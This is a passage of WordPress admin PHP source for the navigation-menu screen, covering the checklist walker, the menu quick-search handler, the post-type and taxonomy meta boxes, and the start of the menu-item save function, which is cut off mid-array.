class="menu-item-data-parent-id" type="hidden" name="menu-item-parent-id[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->menu_item_parent ); ?>" /> <input class="menu-item-data-position" type="hidden" name="menu-item-position[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->menu_order ); ?>" /> <input class="menu-item-data-type" type="hidden" name="menu-item-type[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->type ); ?>" /> </div><!-- .menu-item-settings--> <ul class="menu-item-transport"></ul> <?php $output .= ob_get_clean(); } } // Walker_Nav_Menu_Edit /** * Create HTML list of nav menu input items. * * @since 3.0.0 * @uses Walker_Nav_Menu */ class Walker_Nav_Menu_Checklist extends Walker_Nav_Menu { function __construct( $fields = false ) { if ( $fields ) { $this->db_fields = $fields; } } /** * Starts the list before the elements are added. * * @see Walker_Nav_Menu::start_lvl() * * @since 3.0.0 * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Depth of page. Used for padding. * @param array $args Not used. */ function start_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat( "\t", $depth ); $output .= "\n$indent<ul class='children'>\n"; } /** * Ends the list of after the elements are added. * * @see Walker_Nav_Menu::end_lvl() * * @since 3.0.0 * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Depth of page. Used for padding. * @param array $args Not used. */ function end_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat( "\t", $depth ); $output .= "\n$indent</ul>"; } /** * Start the element output. * * @see Walker_Nav_Menu::start_el() * * @since 3.0.0 * * @param string $output Passed by reference. Used to append additional content. * @param object $item Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param array $args Not used. * @param int $id Not used. */ function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) { global $_nav_menu_placeholder; $_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? intval($_nav_menu_placeholder) - 1 : -1; $possible_object_id = isset( $item->post_type ) && 'nav_menu_item' == $item->post_type ? $item->object_id : $_nav_menu_placeholder; $possible_db_id = ( ! empty( $item->ID ) ) && ( 0 < $possible_object_id ) ? (int) $item->ID : 0; $indent = ( $depth ) ? str_repeat( "\t", $depth ) : ''; $output .= $indent . '<li>'; $output .= '<label class="menu-item-title">'; $output .= '<input type="checkbox" class="menu-item-checkbox'; if ( ! empty( $item->front_or_home ) ) $output .= ' add-to-top'; $output .= '" name="menu-item[' . $possible_object_id . '][menu-item-object-id]" value="'. esc_attr( $item->object_id ) .'" /> '; if ( ! empty( $item->label ) ) { $title = $item->label; } elseif ( isset( $item->post_type ) ) { /** This filter is documented in wp-includes/post-template.php */ $title = apply_filters( 'the_title', $item->post_title, $item->ID ); if ( ! empty( $item->front_or_home ) && _x( 'Home', 'nav menu home label' ) !== $title ) $title = sprintf( _x( 'Home: %s', 'nav menu front page title' ), $title ); } $output .= isset( $title ) ? esc_html( $title ) : esc_html( $item->title ); $output .= '</label>'; // Menu item hidden fields $output .= '<input type="hidden" class="menu-item-db-id" name="menu-item[' . $possible_object_id . '][menu-item-db-id]" value="' . $possible_db_id . '" />'; $output .= '<input type="hidden" class="menu-item-object" name="menu-item[' . $possible_object_id . '][menu-item-object]" value="'. esc_attr( $item->object ) .'" />'; $output .= '<input type="hidden" class="menu-item-parent-id" name="menu-item[' . $possible_object_id . '][menu-item-parent-id]" value="'. esc_attr( $item->menu_item_parent ) .'" />'; $output .= '<input type="hidden" class="menu-item-type" name="menu-item[' . $possible_object_id . '][menu-item-type]" value="'. esc_attr( $item->type ) .'" />'; $output .= '<input type="hidden" class="menu-item-title" name="menu-item[' . $possible_object_id . '][menu-item-title]" value="'. esc_attr( $item->title ) .'" />'; $output .= '<input type="hidden" class="menu-item-url" name="menu-item[' . $possible_object_id . '][menu-item-url]" value="'. esc_attr( $item->url ) .'" />'; $output .= '<input type="hidden" class="menu-item-target" name="menu-item[' . $possible_object_id . '][menu-item-target]" value="'. esc_attr( $item->target ) .'" />'; $output .= '<input type="hidden" class="menu-item-attr_title" name="menu-item[' . $possible_object_id . '][menu-item-attr_title]" value="'. esc_attr( $item->attr_title ) .'" />'; $output .= '<input type="hidden" class="menu-item-classes" name="menu-item[' . $possible_object_id . '][menu-item-classes]" value="'. esc_attr( implode( ' ', $item->classes ) ) .'" />'; $output .= '<input type="hidden" class="menu-item-xfn" name="menu-item[' . $possible_object_id . '][menu-item-xfn]" value="'. esc_attr( $item->xfn ) .'" />'; } } // Walker_Nav_Menu_Checklist /** * Prints the appropriate response to a menu quick search. * * @since 3.0.0 * * @param array $request The unsanitized request values. */ function _wp_ajax_menu_quick_search( $request = array() ) { $args = array(); $type = isset( $request['type'] ) ? $request['type'] : ''; $object_type = isset( $request['object_type'] ) ? $request['object_type'] : ''; $query = isset( $request['q'] ) ? $request['q'] : ''; $response_format = isset( $request['response-format'] ) && in_array( $request['response-format'], array( 'json', 'markup' ) ) ? $request['response-format'] : 'json'; if ( 'markup' == $response_format ) { $args['walker'] = new Walker_Nav_Menu_Checklist; } if ( 'get-post-item' == $type ) { if ( post_type_exists( $object_type ) ) { if ( isset( $request['ID'] ) ) { $object_id = (int) $request['ID']; if ( 'markup' == $response_format ) { echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', array( get_post( $object_id ) ) ), 0, (object) $args ); } elseif ( 'json' == $response_format ) { $post_obj = get_post( $object_id ); echo json_encode( array( 'ID' => $object_id, 'post_title' => get_the_title( $object_id ), 'post_type' => get_post_type( $object_id ), ) ); echo "\n"; } } } elseif ( taxonomy_exists( $object_type ) ) { if ( isset( $request['ID'] ) ) { $object_id = (int) $request['ID']; if ( 'markup' == $response_format ) { echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', array( get_term( $object_id, $object_type ) ) ), 0, (object) $args ); } elseif ( 'json' == $response_format ) { $post_obj = get_term( $object_id, $object_type ); echo json_encode( array( 'ID' => $object_id, 'post_title' => $post_obj->name, 'post_type' => $object_type, ) ); echo "\n"; } } } } elseif ( preg_match('/quick-search-(posttype|taxonomy)-([a-zA-Z_-]*\b)/', $type, $matches) ) { if ( 'posttype' == $matches[1] && get_post_type_object( $matches[2] ) ) { query_posts(array( 'posts_per_page' => 10, 'post_type' => $matches[2], 's' => $query, )); if ( ! have_posts() ) return; while ( have_posts() ) { the_post(); if ( 'markup' == $response_format ) { $var_by_ref = get_the_ID(); echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', array( get_post( $var_by_ref ) ) ), 0, (object) $args ); } elseif ( 'json' == $response_format ) { echo json_encode( array( 'ID' => get_the_ID(), 'post_title' => get_the_title(), 'post_type' => get_post_type(), ) ); echo "\n"; } } } elseif ( 'taxonomy' == $matches[1] ) { $terms = get_terms( $matches[2], array( 'name__like' => $query, 'number' => 10, )); if ( empty( $terms ) || is_wp_error( $terms ) ) return; foreach( (array) $terms as $term ) { if ( 'markup' == $response_format ) { echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', array( $term ) ), 0, (object) $args ); } elseif ( 'json' == $response_format ) { echo json_encode( array( 'ID' => $term->term_id, 'post_title' => $term->name, 'post_type' => $matches[2], ) ); echo "\n"; } } } } } /** * Register nav menu metaboxes and advanced menu items * * @since 3.0.0 **/ function wp_nav_menu_setup() { // Register meta boxes wp_nav_menu_post_type_meta_boxes(); add_meta_box( 'add-custom-links', __( 'Links' ), 'wp_nav_menu_item_link_meta_box', 'nav-menus', 'side', 'default' ); wp_nav_menu_taxonomy_meta_boxes(); // Register advanced menu items (columns) add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' ); // If first time editing, disable advanced items by default. if( false === get_user_option( 'managenav-menuscolumnshidden' ) ) { $user = wp_get_current_user(); update_user_option($user->ID, 'managenav-menuscolumnshidden', array( 0 => 'link-target', 1 => 'css-classes', 2 => 'xfn', 3 => 'description', ), true); } } /** * Limit the amount of meta boxes to just links, pages and cats for first time users. * * @since 3.0.0 **/ function wp_initial_nav_menu_meta_boxes() { global $wp_meta_boxes; if ( get_user_option( 'metaboxhidden_nav-menus' ) !== false || ! is_array($wp_meta_boxes) ) return; $initial_meta_boxes = array( 'nav-menu-theme-locations', 'add-page', 'add-custom-links', 'add-category' ); $hidden_meta_boxes = array(); foreach ( array_keys($wp_meta_boxes['nav-menus']) as $context ) { foreach ( array_keys($wp_meta_boxes['nav-menus'][$context]) as $priority ) { foreach ( $wp_meta_boxes['nav-menus'][$context][$priority] as $box ) { if ( in_array( $box['id'], $initial_meta_boxes ) ) { unset( $box['id'] ); } else { $hidden_meta_boxes[] = $box['id']; } } } } $user = wp_get_current_user(); update_user_option( $user->ID, 'metaboxhidden_nav-menus', $hidden_meta_boxes, true ); } /** * Creates metaboxes for any post type menu item. * * @since 3.0.0 */ function wp_nav_menu_post_type_meta_boxes() { $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'object' ); if ( ! $post_types ) return; foreach ( $post_types as $post_type ) { /** * Filter whether a menu items meta box will be added for the current post type. * * If a falsey value is returned instead of a post type object, * the post type menu items meta box will not be added. * * @since 3.0.0 * * @param object $post_type The post type object to be used as a meta box. */ $post_type = apply_filters( 'nav_menu_meta_box_object', $post_type ); if ( $post_type ) { $id = $post_type->name; // give pages a higher priority $priority = ( 'page' == $post_type->name ? 'core' : 'default' ); add_meta_box( "add-{$id}", $post_type->labels->name, 'wp_nav_menu_item_post_type_meta_box', 'nav-menus', 'side', $priority, $post_type ); } } } /** * Creates metaboxes for any taxonomy menu item. * * @since 3.0.0 */ function wp_nav_menu_taxonomy_meta_boxes() { $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'object' ); if ( !$taxonomies ) return; foreach ( $taxonomies as $tax ) { /** * Filter whether a menu items meta box will be added for the current taxonomy. * * If a falsey value is returned instead of a taxonomy object, * the taxonomy menu items meta box will not be added. * * @since 3.0.0 * * @param object $tax The taxonomy object to be used as a meta box. */ $tax = apply_filters( 'nav_menu_meta_box_object', $tax ); if ( $tax ) { $id = $tax->name; add_meta_box( "add-{$id}", $tax->labels->name, 'wp_nav_menu_item_taxonomy_meta_box', 'nav-menus', 'side', 'default', $tax ); } } } /** * Check whether to disable the Menu Locations meta box submit button * * @since 3.6.0 * * @uses global $one_theme_location_no_menus to determine if no menus exist * @uses disabled() to output the disabled attribute in $other_attributes param in submit_button() * * @param int|string $nav_menu_selected_id (id, name or slug) of the currently-selected menu * @return string Disabled attribute if at least one menu exists, false if not */ function wp_nav_menu_disabled_check( $nav_menu_selected_id ) { global $one_theme_location_no_menus; if ( $one_theme_location_no_menus ) return false; return disabled( $nav_menu_selected_id, 0 ); } /** * Displays a metabox for the custom links menu item. * * @since 3.0.0 */ function wp_nav_menu_item_link_meta_box() { global $_nav_menu_placeholder, $nav_menu_selected_id; $_nav_menu_placeholder = 0 > $_nav_menu_placeholder ? $_nav_menu_placeholder - 1 : -1; ?> <div class="customlinkdiv" id="customlinkdiv"> <input type="hidden" value="custom" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-type]" /> <p id="menu-item-url-wrap"> <label class="howto" for="custom-menu-item-url"> <span><?php _e('URL'); ?></span> <input id="custom-menu-item-url" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-url]" type="text" class="code menu-item-textbox" value="http://" /> </label> </p> <p id="menu-item-name-wrap"> <label class="howto" for="custom-menu-item-name"> <span><?php _e( 'Link Text' ); ?></span> <input id="custom-menu-item-name" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-title]" type="text" class="regular-text menu-item-textbox input-with-default-title" title="<?php esc_attr_e('Menu Item'); ?>" /> </label> </p> <p class="button-controls"> <span class="add-to-menu"> <input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="button-secondary submit-add-to-menu right" value="<?php esc_attr_e('Add to Menu'); ?>" name="add-custom-menu-item" id="submit-customlinkdiv" /> <span class="spinner"></span> </span> </p> </div><!-- /.customlinkdiv --> <?php } /** * Displays a metabox for a post type menu item. * * @since 3.0.0 * * @param string $object Not used. * @param string $post_type The post type object. */ function wp_nav_menu_item_post_type_meta_box( $object, $post_type ) { global $_nav_menu_placeholder, $nav_menu_selected_id; $post_type_name = $post_type['args']->name; // paginate browsing for large numbers of post objects $per_page = 50; $pagenum = isset( $_REQUEST[$post_type_name . '-tab'] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1; $offset = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0; $args = array( 'offset' => $offset, 'order' => 'ASC', 'orderby' => 'title', 'posts_per_page' => $per_page, 'post_type' => $post_type_name, 'suppress_filters' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false ); if ( isset( $post_type['args']->_default_query ) ) $args = array_merge($args, (array) $post_type['args']->_default_query ); // @todo transient caching of these results with proper invalidation on updating of a post of this type $get_posts = new WP_Query; $posts = $get_posts->query( $args ); if ( ! $get_posts->post_count ) { echo '<p>' . __( 'No items.' ) . '</p>'; return; } $post_type_object = get_post_type_object($post_type_name); $num_pages = $get_posts->max_num_pages; $page_links = paginate_links( array( 'base' => add_query_arg( array( $post_type_name . '-tab' => 'all', 'paged' => '%#%', 'item-type' => 'post_type', 'item-object' => $post_type_name, ) ), 'format' => '', 'prev_text' => __('«'), 'next_text' => __('»'), 'total' => $num_pages, 'current' => $pagenum )); if ( !$posts ) $error = '<li id="error">'. $post_type['args']->labels->not_found .'</li>'; $db_fields = false; if ( is_post_type_hierarchical( $post_type_name ) ) { $db_fields = array( 'parent' => 'post_parent', 'id' => 'ID' ); } $walker = new Walker_Nav_Menu_Checklist( $db_fields ); $current_tab = 'most-recent'; if ( isset( $_REQUEST[$post_type_name . '-tab'] ) && in_array( $_REQUEST[$post_type_name . '-tab'], array('all', 'search') ) ) { $current_tab = $_REQUEST[$post_type_name . '-tab']; } if ( ! empty( $_REQUEST['quick-search-posttype-' . $post_type_name] ) ) { $current_tab = 'search'; } $removed_args = array( 'action', 'customlink-tab', 'edit-menu-item', 'menu-item', 'page-tab', '_wpnonce', ); ?> <div id="posttype-<?php echo $post_type_name; ?>" class="posttypediv"> <ul id="posttype-<?php echo $post_type_name; ?>-tabs" class="posttype-tabs add-menu-item-tabs"> <li <?php echo ( 'most-recent' == $current_tab ? ' class="tabs"' : '' ); ?>> <a class="nav-tab-link" data-type="tabs-panel-posttype-<?php echo esc_attr( $post_type_name ); ?>-most-recent" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($post_type_name . '-tab', 'most-recent', remove_query_arg($removed_args))); ?>#tabs-panel-posttype-<?php echo $post_type_name; ?>-most-recent"> <?php _e( 'Most Recent' ); ?> </a> </li> <li <?php echo ( 'all' == $current_tab ? ' class="tabs"' : '' ); ?>> <a class="nav-tab-link" data-type="<?php echo esc_attr( $post_type_name ); ?>-all" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($post_type_name . '-tab', 'all', remove_query_arg($removed_args))); ?>#<?php echo $post_type_name; ?>-all"> <?php _e( 'View All' ); ?> </a> </li> <li <?php echo ( 'search' == $current_tab ? ' class="tabs"' : '' ); ?>> <a class="nav-tab-link" data-type="tabs-panel-posttype-<?php echo esc_attr( $post_type_name ); ?>-search" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($post_type_name . '-tab', 'search', remove_query_arg($removed_args))); ?>#tabs-panel-posttype-<?php echo $post_type_name; ?>-search"> <?php _e( 'Search'); ?> </a> </li> </ul><!-- .posttype-tabs --> <div id="tabs-panel-posttype-<?php echo $post_type_name; ?>-most-recent" class="tabs-panel <?php echo ( 'most-recent' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"> <ul id="<?php echo $post_type_name; ?>checklist-most-recent" class="categorychecklist form-no-clear"> <?php $recent_args = array_merge( $args, array( 'orderby' => 'post_date', 'order' => 'DESC', 'posts_per_page' => 15 ) ); $most_recent = $get_posts->query( $recent_args ); $args['walker'] = $walker; echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $most_recent), 0, (object) $args ); ?> </ul> </div><!-- /.tabs-panel --> <div class="tabs-panel <?php echo ( 'search' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>" id="tabs-panel-posttype-<?php echo $post_type_name; ?>-search"> <?php if ( isset( $_REQUEST['quick-search-posttype-' . $post_type_name] ) ) { $searched = esc_attr( $_REQUEST['quick-search-posttype-' . $post_type_name] ); $search_results = get_posts( array( 's' => $searched, 'post_type' => $post_type_name, 'fields' => 'all', 'order' => 'DESC', ) ); } else { $searched = ''; $search_results = array(); } ?> <p class="quick-search-wrap"> <input type="search" class="quick-search input-with-default-title" title="<?php esc_attr_e('Search'); ?>" value="<?php echo $searched; ?>" name="quick-search-posttype-<?php echo $post_type_name; ?>" /> <span class="spinner"></span> <?php submit_button( __( 'Search' ), 'button-small quick-search-submit button-secondary hide-if-js', 'submit', false, array( 'id' => 'submit-quick-search-posttype-' . $post_type_name ) ); ?> </p> <ul id="<?php echo $post_type_name; ?>-search-checklist" data-wp-lists="list:<?php echo $post_type_name?>" class="categorychecklist form-no-clear"> <?php if ( ! empty( $search_results ) && ! is_wp_error( $search_results ) ) : ?> <?php $args['walker'] = $walker; echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $search_results), 0, (object) $args ); ?> <?php elseif ( is_wp_error( $search_results ) ) : ?> <li><?php echo $search_results->get_error_message(); ?></li> <?php elseif ( ! empty( $searched ) ) : ?> <li><?php _e('No results found.'); ?></li> <?php endif; ?> </ul> </div><!-- /.tabs-panel --> <div id="<?php echo $post_type_name; ?>-all" class="tabs-panel tabs-panel-view-all <?php echo ( 'all' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"> <?php if ( ! empty( $page_links ) ) : ?> <div class="add-menu-item-pagelinks"> <?php echo $page_links; ?> </div> <?php endif; ?> <ul id="<?php echo $post_type_name; ?>checklist" data-wp-lists="list:<?php echo $post_type_name?>" class="categorychecklist form-no-clear"> <?php $args['walker'] = $walker; // if we're dealing with pages, let's put a checkbox for the front page at the top of the list if ( 'page' == $post_type_name ) { $front_page = 'page' == get_option('show_on_front') ? (int) get_option( 'page_on_front' ) : 0; if ( ! empty( $front_page ) ) { $front_page_obj = get_post( $front_page ); $front_page_obj->front_or_home = true; array_unshift( $posts, $front_page_obj ); } else { $_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? intval($_nav_menu_placeholder) - 1 : -1; array_unshift( $posts, (object) array( 'front_or_home' => true, 'ID' => 0, 'object_id' => $_nav_menu_placeholder, 'post_content' => '', 'post_excerpt' => '', 'post_parent' => '', 'post_title' => _x('Home', 'nav menu home label'), 'post_type' => 'nav_menu_item', 'type' => 'custom', 'url' => home_url('/'), ) ); } } /** * Filter the posts displayed in the 'View All' tab of the current * post type's menu items meta box. * * The dynamic portion of the hook name, $post_type_name, * refers to the slug of the current post type. * * @since 3.2.0 * * @see WP_Query::query() * * @param array $posts The posts for the current post type. * @param array $args An array of WP_Query arguments. * @param object $post_type The current post type object for this menu item meta box. */ $posts = apply_filters( "nav_menu_items_{$post_type_name}", $posts, $args, $post_type ); $checkbox_items = walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $posts), 0, (object) $args ); if ( 'all' == $current_tab && ! empty( $_REQUEST['selectall'] ) ) { $checkbox_items = preg_replace('/(type=(.)checkbox(\2))/', '$1 checked=$2checked$2', $checkbox_items); } echo $checkbox_items; ?> </ul> <?php if ( ! empty( $page_links ) ) : ?> <div class="add-menu-item-pagelinks"> <?php echo $page_links; ?> </div> <?php endif; ?> </div><!-- /.tabs-panel --> <p class="button-controls"> <span class="list-controls"> <a href="<?php echo esc_url( add_query_arg( array( $post_type_name . '-tab' => 'all', 'selectall' => 1, ), remove_query_arg( $removed_args ) )); ?>#posttype-<?php echo $post_type_name; ?>" class="select-all"><?php _e('Select All'); ?></a> </span> <span class="add-to-menu"> <input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="button-secondary submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-post-type-menu-item" id="<?php echo esc_attr( 'submit-posttype-' . $post_type_name ); ?>" /> <span class="spinner"></span> </span> </p> </div><!-- /.posttypediv --> <?php } /** * Displays a metabox for a taxonomy menu item. * * @since 3.0.0 * * @param string $object Not used. * @param string $taxonomy The taxonomy object. */ function wp_nav_menu_item_taxonomy_meta_box( $object, $taxonomy ) { global $nav_menu_selected_id; $taxonomy_name = $taxonomy['args']->name; // paginate browsing for large numbers of objects $per_page = 50; $pagenum = isset( $_REQUEST[$taxonomy_name . '-tab'] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1; $offset = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0; $args = array( 'child_of' => 0, 'exclude' => '', 'hide_empty' => false, 'hierarchical' => 1, 'include' => '', 'number' => $per_page, 'offset' => $offset, 'order' => 'ASC', 'orderby' => 'name', 'pad_counts' => false, ); $terms = get_terms( $taxonomy_name, $args ); if ( ! $terms || is_wp_error($terms) ) { echo '<p>' . __( 'No items.' ) . '</p>'; return; } $num_pages = ceil( wp_count_terms( $taxonomy_name , array_merge( $args, array('number' => '', 'offset' => '') ) ) / $per_page ); $page_links = paginate_links( array( 'base' => add_query_arg( array( $taxonomy_name . '-tab' => 'all', 'paged' => '%#%', 'item-type' => 'taxonomy', 'item-object' => $taxonomy_name, ) ), 'format' => '', 'prev_text' => __('«'), 'next_text' => __('»'), 'total' => $num_pages, 'current' => $pagenum )); $db_fields = false; if ( is_taxonomy_hierarchical( $taxonomy_name ) ) { $db_fields = array( 'parent' => 'parent', 'id' => 'term_id' ); } $walker = new Walker_Nav_Menu_Checklist( $db_fields ); $current_tab = 'most-used'; if ( isset( $_REQUEST[$taxonomy_name . '-tab'] ) && in_array( $_REQUEST[$taxonomy_name . '-tab'], array('all', 'most-used', 'search') ) ) { $current_tab = $_REQUEST[$taxonomy_name . '-tab']; } if ( ! empty( $_REQUEST['quick-search-taxonomy-' . $taxonomy_name] ) ) { $current_tab = 'search'; } $removed_args = array( 'action', 'customlink-tab', 'edit-menu-item', 'menu-item', 'page-tab', '_wpnonce', ); ?> <div id="taxonomy-<?php echo $taxonomy_name; ?>" class="taxonomydiv"> <ul id="taxonomy-<?php echo $taxonomy_name; ?>-tabs" class="taxonomy-tabs add-menu-item-tabs"> <li <?php echo ( 'most-used' == $current_tab ? ' class="tabs"' : '' ); ?>> <a class="nav-tab-link" data-type="tabs-panel-<?php echo esc_attr( $taxonomy_name ); ?>-pop" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($taxonomy_name . '-tab', 'most-used', remove_query_arg($removed_args))); ?>#tabs-panel-<?php echo $taxonomy_name; ?>-pop"> <?php _e( 'Most Used' ); ?> </a> </li> <li <?php echo ( 'all' == $current_tab ? ' class="tabs"' : '' ); ?>> <a class="nav-tab-link" data-type="tabs-panel-<?php echo esc_attr( $taxonomy_name ); ?>-all" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($taxonomy_name . '-tab', 'all', remove_query_arg($removed_args))); ?>#tabs-panel-<?php echo $taxonomy_name; ?>-all"> <?php _e( 'View All' ); ?> </a> </li> <li <?php echo ( 'search' == $current_tab ? ' class="tabs"' : '' ); ?>> <a class="nav-tab-link" data-type="tabs-panel-search-taxonomy-<?php echo esc_attr( $taxonomy_name ); ?>" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($taxonomy_name . '-tab', 'search', remove_query_arg($removed_args))); ?>#tabs-panel-search-taxonomy-<?php echo $taxonomy_name; ?>"> <?php _e( 'Search' ); ?> </a> </li> </ul><!-- .taxonomy-tabs --> <div id="tabs-panel-<?php echo $taxonomy_name; ?>-pop" class="tabs-panel <?php echo ( 'most-used' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"> <ul id="<?php echo $taxonomy_name; ?>checklist-pop" class="categorychecklist form-no-clear" > <?php $popular_terms = get_terms( $taxonomy_name, array( 'orderby' => 'count', 'order' => 'DESC', 'number' => 10, 'hierarchical' => false ) ); $args['walker'] = $walker; echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $popular_terms), 0, (object) $args ); ?> </ul> </div><!-- /.tabs-panel --> <div id="tabs-panel-<?php echo $taxonomy_name; ?>-all" class="tabs-panel tabs-panel-view-all <?php echo ( 'all' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"> <?php if ( ! empty( $page_links ) ) : ?> <div class="add-menu-item-pagelinks"> <?php echo $page_links; ?> </div> <?php endif; ?> <ul id="<?php echo $taxonomy_name; ?>checklist" data-wp-lists="list:<?php echo $taxonomy_name?>" class="categorychecklist form-no-clear"> <?php $args['walker'] = $walker; echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $terms), 0, (object) $args ); ?> </ul> <?php if ( ! empty( $page_links ) ) : ?> <div class="add-menu-item-pagelinks"> <?php echo $page_links; ?> </div> <?php endif; ?> </div><!-- /.tabs-panel --> <div class="tabs-panel <?php echo ( 'search' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>" id="tabs-panel-search-taxonomy-<?php echo $taxonomy_name; ?>"> <?php if ( isset( $_REQUEST['quick-search-taxonomy-' . $taxonomy_name] ) ) { $searched = esc_attr( $_REQUEST['quick-search-taxonomy-' . $taxonomy_name] ); $search_results = get_terms( $taxonomy_name, array( 'name__like' => $searched, 'fields' => 'all', 'orderby' => 'count', 'order' => 'DESC', 'hierarchical' => false ) ); } else { $searched = ''; $search_results = array(); } ?> <p class="quick-search-wrap"> <input type="search" class="quick-search input-with-default-title" title="<?php esc_attr_e('Search'); ?>" value="<?php echo $searched; ?>" name="quick-search-taxonomy-<?php echo $taxonomy_name; ?>" /> <span class="spinner"></span> <?php submit_button( __( 'Search' ), 'button-small quick-search-submit button-secondary hide-if-js', 'submit', false, array( 'id' => 'submit-quick-search-taxonomy-' . $taxonomy_name ) ); ?> </p> <ul id="<?php echo $taxonomy_name; ?>-search-checklist" data-wp-lists="list:<?php echo $taxonomy_name?>" class="categorychecklist form-no-clear"> <?php if ( ! empty( $search_results ) && ! is_wp_error( $search_results ) ) : ?> <?php $args['walker'] = $walker; echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $search_results), 0, (object) $args ); ?> <?php elseif ( is_wp_error( $search_results ) ) : ?> <li><?php echo $search_results->get_error_message(); ?></li> <?php elseif ( ! empty( $searched ) ) : ?> <li><?php _e('No results found.'); ?></li> <?php endif; ?> </ul> </div><!-- /.tabs-panel --> <p class="button-controls"> <span class="list-controls"> <a href="<?php echo esc_url(add_query_arg( array( $taxonomy_name . '-tab' => 'all', 'selectall' => 1, ), remove_query_arg($removed_args) )); ?>#taxonomy-<?php echo $taxonomy_name; ?>" class="select-all"><?php _e('Select All'); ?></a> </span> <span class="add-to-menu"> <input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="button-secondary submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-taxonomy-menu-item" id="<?php echo esc_attr( 'submit-taxonomy-' . $taxonomy_name ); ?>" /> <span class="spinner"></span> </span> </p> </div><!-- /.taxonomydiv --> <?php } /** * Save posted nav menu item data. * * @since 3.0.0 * * @param int $menu_id The menu ID for which to save this item. $menu_id of 0 makes a draft, orphaned menu item. * @param array $menu_data The unsanitized posted menu item data. * @return array The database IDs of the items saved */ function wp_save_nav_menu_items( $menu_id = 0, $menu_data = array() ) { $menu_id = (int) $menu_id; $items_saved = array(); if ( 0 == $menu_id || is_nav_menu( $menu_id ) ) { // Loop through all the menu items' POST values foreach( (array) $menu_data as $_possible_db_id => $_item_object_data ) { if ( empty( $_item_object_data['menu-item-object-id'] ) && // checkbox is not checked ( ! isset( $_item_object_data['menu-item-type'] ) || // and item type either isn't set in_array( $_item_object_data['menu-item-url'], array( 'http://', '' ) ) || // or URL is the default ! ( 'custom' == $_item_object_data['menu-item-type'] && ! isset( $_item_object_data['menu-item-db-id'] ) ) || // or it's not a custom menu item (but not the custom home page) ! empty( $_item_object_data['menu-item-db-id'] ) // or it *is* a custom menu item that already exists ) ) { continue; // then this potential menu item is not getting added to this menu } // if this possible menu item doesn't actually have a menu database ID yet if ( empty( $_item_object_data['menu-item-db-id'] ) || ( 0 > $_possible_db_id ) || $_possible_db_id != $_item_object_data['menu-item-db-id'] ) { $_actual_db_id = 0; } else { $_actual_db_id = (int) $_item_object_data['menu-item-db-id']; } $args = array( 'menu-item-db-id' => ( isset( $_item_object_data['menu-item-db-id'] ) ? $_item_object_data['menu-item-db-id'] : '' ), 'menu-item-object-id' => ( isset( $_item_object_data['menu-item-object-id'] ) ? $_item_object_data['menu-item-object-id'] : '' ), 'menu-item-object' => ( isset( $_item_object_data['menu-item-object'] ) ? $_item_object_data['menu-item-object'] : '' ), 'menu-item-parent-id' => ( isset( $_item_object_data['menu-item-parent-id'] ) ? $_item_object_data['menu-item-parent-id'] : '' ), 'menu-item-position' => ( isset( $_item_object_data['menu-item-position'] ) ? $_item_object_data['menu-item-position'] : '' ), 'menu-item-type' => ( isset( $_item_object_data['menu-item-type'] ) ? $_item_object_data['menu-item-type'] : '' ), 'menu-item-title' => ( isset( $_item_object_data['menu-item-title'] ) ? $_item_object_data['menu-item-title'] : '' ), 'menu-item-url' => ( isset( $_item_object_data['menu-item-url'] ) ? $_item_object_data['menu-item-url'] : '' ), 'menu-item-description' => ( isset( $_item_object_data['menu-item-description'] ) ? $_item_object_data['menu-item-description'] : '' ), 'menu-item-attr-title' => ( isset( $_item_object_data['menu-item-attr-title'] ) ? $_item_object_data['menu-item-attr-title'] : '' ), 